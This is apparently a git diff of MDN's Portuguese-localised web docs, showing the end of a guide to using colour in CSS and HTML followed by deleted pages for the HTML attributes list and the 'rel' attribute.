  3. Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.
  4. +
  5. Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.
  6. +
+ +

You can also optionally include an alpha channel, to make the color less than 100% opaque.

+ +

Here are some sample colors in HSL notation:

+ +
+ + +

{{EmbedLiveSample("hsl-swatches", 300, 260)}}

+
+ +
+

Note that when you omit the hue's unit, it's assumed to be in degrees (deg).

+
+ +

Utilizar a cor

+ +

Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.

+ +

Especificar cores nas folhas de estilo

+ +

The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.

+ +

Let's take a look at an example, starting by looking at the results we're trying to achieve:

+ +
{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}
+ +

HTML

+ +

The HTML responsible for creating the above example is shown here:

+ +
<div class="wrapper">
+  <div class="box boxLeft">
+    <p>
+      This is the first box.
+    </p>
+  </div>
+  <div class="box boxRight">
+    <p>
+      This is the second box.
+    </p>
+  </div>
+</div>
+ +

This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <div>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.

+ +

The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.

+ +

CSS

+ +

We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.

+ +
.wrapper {
+  width: 620px;
+  height: 110px;
+  margin: 0;
+  padding: 10px;
+  border: 6px solid mediumturquoise;
+}
+ +

The .wrapper class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.

+ +

Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color mediumturquoise.

+ +

Our two colored boxes share a number of properties in common, so next we establish a class, .box, that defines those shared properties:

+ +
.box {
+  width: 290px;
+  height: 100px;
+  margin: 0;
+  padding: 4px 6px;
+  font: 28px "Marker Felt", "Zapfino", cursive;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}
+ +

In brief, .box establishes the size of each box, as well as the configuration of the font used within. We also take advantage of CSS Flexbox to easily center the contents of each box. We enable flex mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to center. Then we can create a class for each of the two boxes that defines the propeties that differ between the two.

+ +
.boxLeft {
+  float: left;
+  background-color: rgb(245, 130, 130);
+  outline: 2px solid darkred;
+}
+ +

The .boxLeft class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:

+ + + +
.boxRight {
+  float: right;
+  background-color: hsl(270deg, 50%, 75%);
+  outline: 4px dashed rgb(110, 20, 120);
+  color: hsl(0deg, 100%, 100%);
+  text-decoration: underline wavy #88ff88;
+  text-shadow: 2px 2px 3px black;
+}
+ +

Finally, the .boxRight class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:

+ + + +

Deixar que o utilizador escolha uma cor

+ +

There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using "color" as the value of its {{htmlattrxref("type", "input")}} attribute.

+ +

The <input> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.

+ +

Exemplo: Escolher uma cor

+ +

Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.

+ +

{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}

+ +
+

On macOS, you indicate that you've finalized selection of the color by closing the color picker window.

+
+ +

HTML

+ +

The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.

+ +
<div id="box">
+  <label for="colorPicker">Border color:</label>
+  <input type="color" value="#8888ff" id="colorPicker">
+  <p id="output"></p>
+</div>
+ +

CSS

+ +

The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...

+ +
#box {
+  width: 500px;
+  height: 200px;
+  border: 2px solid rgb(245, 220, 225);
+  padding: 4px 6px;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}
+ +

JavaScript

+ +

The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <input type="color"> element.

+ +
let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+  box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+  output.innerText = "Color set to " + colorPicker.value + ".";
+}, false);
+ +

The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.

+ +

The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <p> element with the ID "output" to a string describing the finally selected color.

+ +

Utilizar a cor com sabedoria

+ +

Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.

+ +

Encontrar as cores corretas

+ +

Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.

+ +

Cor base

+ +

The first step is to choose your base color. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:

+ + + +

When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site ColorZilla offers an extension (Chrome / Firefox) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.

+ +
+

The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.

+
+ +

Fleshing out the palette

+ +

Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.

+ +

A few examples (all free to use as of the time this list was last revised):

+ + + +

When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.

+ +
+

Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.

+
+ +

Color theory resources

+ +

A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:

+ +
+
Color Science (Khan Academy in association with Pixar)
+
An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.
+
{{interwiki("wikipedia", "Color theory")}} on Wikipedia
+
Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.
+
+ +

Cor e acessibilidade

+ +

There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.

+ +

You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.

+ +
+

The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.

+
+ +

For more information about color blindness, see the following articles:

+ + + +

Exemplo da paleta de desenho

+ +

Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a Google search for photos of Mars. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.

+ +

Using an eyedropper tool, we identify a color we like and determine that the color in question is #D79C7A, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.

+ +

Having selected our base color, we need to build out our palette. We decide to use Paletteon to come up with the other colors we need. Upon opening Paletton, we see:

+ +

Right after loading Paletton.

+ +

Next, we enter our color's hex code (D79C7A) into the "Base RGB" box at the bottom-left corner of the tool:

+ +

After entering base color

+ +

We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is #508D7C.

+ +

Now with complementary colors included.

+ +

If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:

+ +

Triad color scheme selected

+ +

That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's #556E8D. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:

+ +

Triad color scheme selected

+ +

Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.

+ +

Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.

+ +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/html/atributos/index.html b/files/pt-pt/web/html/atributos/index.html deleted file mode 100644 index 84ea814756..0000000000 --- a/files/pt-pt/web/html/atributos/index.html +++ /dev/null @@ -1,659 +0,0 @@ ---- -title: Lista de atributos HTML -slug: Web/HTML/Atributos -tags: - - HTML - - Referencia - - Web - - atributo -translation_of: Web/HTML/Attributes ---- -

Elementos em HTML têm atributos; estes são valores adicionais que configuram os elementos ou ajustam o seu comportamento em vários modos para corresponderem aos critérios que os utilizadores pretendem.

- -

Lista de Atributos

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do AtributoElementosDescrição
accept{{ HTMLElement("form") }}, {{ HTMLElement("input") }}Lista de tipos que o servidor aceita, é usualmente um tipo de ficheiro.
accept-charset{{ HTMLElement("form") }}Lista de codificações de caracteres (charsets) que são suportadas.
accesskeyAtributo globalDefine um atalho do teclado para activar ou adicionar foco ao elemento.
action{{ HTMLElement("form") }}O URI dum programa que processa a informação submetida através deste formulário.
align{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}Especifica o alinhamento horizontal do elemento.
alt{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}Texto alternativo no caso de uma imagem não poder ser mostrada.
async{{ HTMLElement("script") }}Indicates that the script should be executed asynchronously.
autocomplete{{ HTMLElement("form") }}, {{ HTMLElement("input") }}Indicates whether controls in this form can by default have their values automatically completed by the browser.
autofocus{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}The element should be automatically focused after the page loaded.
autoplay{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}The audio or video should play as soon as possible.
autosave{{ HTMLElement("input") }}Previous values should persist dropdowns of selectable values across page loads.
bgcolor{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }} -

Background color of the element.

- -
-

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("background-color") }} property instead.

-
-
border{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }} -

The border width.

- -
-

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("border") }} property instead.

-
-
buffered{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Contains the time range of already buffered media.
challenge{{ HTMLElement("keygen") }}A challenge string that is submitted along with the public key.
charset{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}Declares the character encoding of the page or script.
checked{{ HTMLElement("command") }}, {{ HTMLElement("input") }}Indicates whether the element should be checked on page load.
cite{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}Contains a URI which points to the source of the quote or change.
classGlobal attributeOften used with CSS to style elements with common properties.
code{{ HTMLElement("applet") }}Specifies the URL of the applet's class file to be loaded and executed.
codebase{{ HTMLElement("applet") }}This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.
color{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }} -

This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.

- -
-

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("color") }} property instead.

-
-
cols{{ HTMLElement("textarea") }}Defines the number of columns in a textarea.
colspan{{ HTMLElement("td") }}, {{ HTMLElement("th") }}The colspan attribute defines the number of columns a cell should span.
content{{ HTMLElement("meta") }}A value associated with http-equiv or name depending on the context.
contenteditableGlobal attributeIndicates whether the element's content is editable.
contextmenuGlobal attributeDefines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu.
controls{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Indicates whether the browser should show playback controls to the user.
coords{{ HTMLElement("area") }}A set of values specifying the coordinates of the hot-spot region.
crossorigin{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}How the element handles cross-origin requests
data{{ HTMLElement("object") }}Specifies the URL of the resource.
data-*Global attributeLets you attach custom attributes to an HTML element.
datetime{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}Indicates the date and time associated with the element.
default{{ HTMLElement("track") }}Indicates that the track should be enabled unless the user's preferences indicate something different.
defer{{ HTMLElement("script") }}Indicates that the script should be executed after the page has been parsed.
dirGlobal attributeDefines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)
dirname{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} 
disabled{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether the user can interact with the element.
download{{ HTMLElement("a") }}, {{ HTMLElement("area") }}Indicates that the hyperlink is to be used for downloading a resource.
draggableGlobal attributeDefines whether the element can be dragged.
dropzoneGlobal attributeIndicates that the element accept the dropping of content on it.
enctype{{ HTMLElement("form") }}Defines the content type of the form date when the method is POST.
for{{ HTMLElement("label") }}, {{ HTMLElement("output") }}Describes elements which belongs to this one.
form{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates the form that is the owner of the element.
formaction{{ HTMLElement("input") }}, {{ HTMLElement("button") }}Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}.
headers{{ HTMLElement("td") }}, {{ HTMLElement("th") }}IDs of the <th> elements which applies to this element.
height{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} -

Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property.

- -
-

Nota: In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead.

-
-
hiddenGlobal attributePrevents rendering of given element, while keeping child elements, e.g. script elements, active.
high{{ HTMLElement("meter") }}Indicates the lower bound of the upper range.
href{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }} The URL of a linked resource.
hreflang{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}Specifies the language of the linked resource.
http-equiv{{ HTMLElement("meta") }} 
icon{{ HTMLElement("command") }}Specifies a picture which represents the command.
idGlobal attributeOften used with CSS to style a specific element. The value of this attribute must be unique.
integrity{{ HTMLElement("link") }}, {{ HTMLElement("script") }}  -

Security Feature that allows browsers to verify what they fetch. 

- -

MDN Link

-
ismap{{ HTMLElement("img") }}Indicates that the image is part of a server-side image map.
itempropGlobal attribute 
keytype{{ HTMLElement("keygen") }}Specifies the type of key generated.
kind{{ HTMLElement("track") }}Specifies the kind of text track.
label{{ HTMLElement("track") }}Specifies a user-readable title of the text track.
langGlobal attributeDefines the language used in the element.
language{{ HTMLElement("script") }}Defines the script language used in the element.
list{{ HTMLElement("input") }}Identifies a list of pre-defined options to suggest to the user.
loop{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}Indicates whether the media should start playing from the start when it's finished.
low{{ HTMLElement("meter") }}Indicates the upper bound of the lower range.
manifest{{ HTMLElement("html") }}Specifies the URL of the document's cache manifest.
max{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}Indicates the maximum value allowed.
maxlength{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Defines the maximum number of characters allowed in the element.
media{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}Specifies a hint of the media for which the linked resource was designed.
method{{ HTMLElement("form") }}Defines which HTTP method to use when submitting the form. Can be GET (default) or POST.
min{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}Indicates the minimum value allowed.
multiple{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Indicates whether multiple values can be entered in an input of the type email or file.
muted{{ HTMLElement("video") }}Indicates whether the audio will be initially silenced on page load.
name{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}Name of the element. For example used by the server to identify the fields in form submits.
novalidate{{ HTMLElement("form") }}This attribute indicates that the form shouldn't be validated when submitted.
open{{ HTMLElement("details") }}Indicates whether the details will be shown on page load.
optimum{{ HTMLElement("meter") }}Indicates the optimal numeric value.
pattern{{ HTMLElement("input") }}Defines a regular expression which the element's value will be validated against.
ping{{ HTMLElement("a") }}, {{ HTMLElement("area") }} 
placeholder{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Provides a hint to the user of what can be entered in the field.
poster{{ HTMLElement("video") }}A URL indicating a poster frame to show until the user plays or seeks.
preload{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Indicates whether the whole resource, parts of it or nothing should be preloaded.
radiogroup{{ HTMLElement("command") }} 
readonly{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Indicates whether the element can be edited.
rel{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}Specifies the relationship of the target object to the link object.
required{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether this element is required to fill out or not.
reversed{{ HTMLElement("ol") }}Indicates whether the list should be displayed in a descending order instead of a ascending.
rows{{ HTMLElement("textarea") }}Defines the number of rows in a text area.
rowspan{{ HTMLElement("td") }}, {{ HTMLElement("th") }}Defines the number of rows a table cell should span over.
sandbox{{ HTMLElement("iframe") }} 
scope{{ HTMLElement("th") }} 
scoped{{ HTMLElement("style") }} 
seamless{{ HTMLElement("iframe") }} 
selected{{ HTMLElement("option") }}Defines a value which will be selected on page load.
shape{{ HTMLElement("a") }}, {{ HTMLElement("area") }} 
size{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Defines the width of the element (in pixels). If the element's type attribute is text or password then it's the number of characters.
sizes{{ HTMLElement("link") }}, {{ HTMLElement("img") }}, {{ HTMLElement("source") }} 
slotGlobal attributeAssigns a slot in a shadow DOM shadow tree to an element.
span{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }} 
spellcheckGlobal attributeIndicates whether spell checking is allowed for the element.
src{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}The URL of the embeddable content.
srcdoc{{ HTMLElement("iframe") }} 
srclang{{ HTMLElement("track") }} 
srcset{{ HTMLElement("img") }} 
start{{ HTMLElement("ol") }}Defines the first number if other than 1.
step{{ HTMLElement("input") }} 
styleGlobal attributeDefines CSS styles which will override styles previously set.
summary{{ HTMLElement("table") }} 
tabindexGlobal attributeOverrides the browser's default tab order and follows the one specified instead.
target{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }} 
titleGlobal attributeText to be displayed in a tooltip when hovering over the element.
type{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}Defines the type of the element.
usemap{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }} 
value{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}Defines a default value which will be displayed in the element on page load.
width{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} -

For the elements listed here, this establishes the element's width.

- -
-

Nota: For all other instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead.

-
-
wrap{{ HTMLElement("textarea") }}Indicates whether the text should be wrapped.
- -

Conteúdo versus atributos IDL

- -

In HTML, most attributes have two faces: the content attribute and the IDL attribute.

- -

The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's maxlength to 42 using the content attribute, you have to call setAttribute("maxlength", "42") on that element.

- -

The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like element.foo. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.

- -

Most of the time, IDL attributes will return their values as they are really used. For example, the default type for {{HTMLElement("input")}} elements is "text", so if you set input.type="foobar", the <input> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the type IDL attribute will return the string "text".

- -

IDL attributes are not always strings; for example, input.maxlength is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.

- -

IDL attributes can reflect other types such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes  behave oddly (select.size, for example) and you should read the specifications to understand how exactly they behave.

- -

Consulte também

- - diff --git a/files/pt-pt/web/html/atributos/rel/index.html b/files/pt-pt/web/html/atributos/rel/index.html deleted file mode 100644 index fe8307f0c0..0000000000 --- a/files/pt-pt/web/html/atributos/rel/index.html +++ /dev/null @@ -1,418 +0,0 @@ ---- -title: 'HTML attribute: rel' -slug: Web/HTML/Atributos/rel -translation_of: Web/HTML/Attributes/rel ---- -

{{draft}}

- -

O atributo rel define a relação entre um recurso ligado e o documento atual. É válido em {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. Os valores suportados dependem do elemento em que o atributo é usado.

- -

O tipo de relação (da ligação) é definido pelo atributo rel que, se existir, tem de ter um valor que é um conjunto de palavras-chave (keywords) únicas, desordenadas, e separadas por espaços. As palavras-chave possíveis estão na tabela em baixo.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Valores possíves para o atributo rel, e os elementos em que são relevantes
rel (valor)Descrição{{htmlelement('link')}}{{htmlelement('a')}} e {{htmlelement('area')}}{{htmlelement('form')}}
{{anch("attr-alternate", "alternate")}}Representações alternativas do documento atual.LinkLinkNão permitido
{{anch("attr-author", "author")}}Autor do documento ou artigo atual.LinkLinkNão permitido
{{anch("attr-bookmark", "bookmark")}}Permalink para a secção antecessora mais próxima.Não permitidoLinkNão permitido
{{anch("attr-canonical", "canonical")}}URL ideal para o documento atual.LinkNão permitidoNão permitido
dns-prefetchPede ao browser para antecipadamente efetuar a resolução de DNS para o link em questão.Recurso externoNão permitidoNão permitido
{{anch("attr-external", "external")}}O documento referenciado não pertence ao site do documento atual.Não permitidoAnotaçãoAnotação
{{anch("attr-help", "help")}}Link para material de apoio sobre o contexto atual.LinkLinkLink
{{anch("attr-icon", "icon")}}Um ícone representativo do documento atual.Recurso externoNão permitidoNão permitido
